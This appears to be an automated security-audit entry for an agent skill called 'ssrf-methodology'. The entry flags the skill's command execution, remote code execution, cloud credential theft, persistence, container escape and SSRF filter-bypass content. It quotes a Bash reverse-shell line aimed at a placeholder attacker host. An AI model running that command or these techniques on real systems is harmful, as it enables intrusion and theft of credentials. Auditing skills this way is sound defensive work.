The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides detailed instructions for executing commands on internal services including Redis (via CONFIG SET), FastCGI (via PHP_VALUE injection), and Zabbix Agent (via system.run).\n- [REMOTE_CODE_EXECUTION]: Contains specific, functional payloads for remote code execution, including a classic Bash reverse shell (bash -i >& /dev/tcp/$ATTACKER_IP/$PORT 0>&1) and PHP webshell injection strings.\n- [DATA_EXFILTRATION]: Explains how to exfiltrate sensitive data from internal networks and cloud environments. It includes methods for reading local files like /etc/passwd and /proc/self/environ, as well as performing out-of-band exfiltration using DNS.\n- [CREDENTIALS_UNSAFE]: Provides instructions for stealing sensitive cloud credentials, specifically targeting AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN from AWS Lambda environments and EC2/ECS metadata endpoints.\n- [PERSISTENCE]: Details methods for establishing persistence on a compromised host, such as writing malicious entries to crontab files and adding attacker keys to the .ssh/authorized_keys file.\n- [PRIVILEGE_ESCALATION]: Outlines a privilege escalation/container escape chain by exploiting a misconfigured Docker API socket to create containers with the host's root directory mounted.\n- [OBFUSCATION]: Teaches various obfuscation techniques to bypass SSRF filters, including the use of hex, octal, and decimal IP representations, as well as double URL encoding for protocol-specific payloads.

ssrf-methodology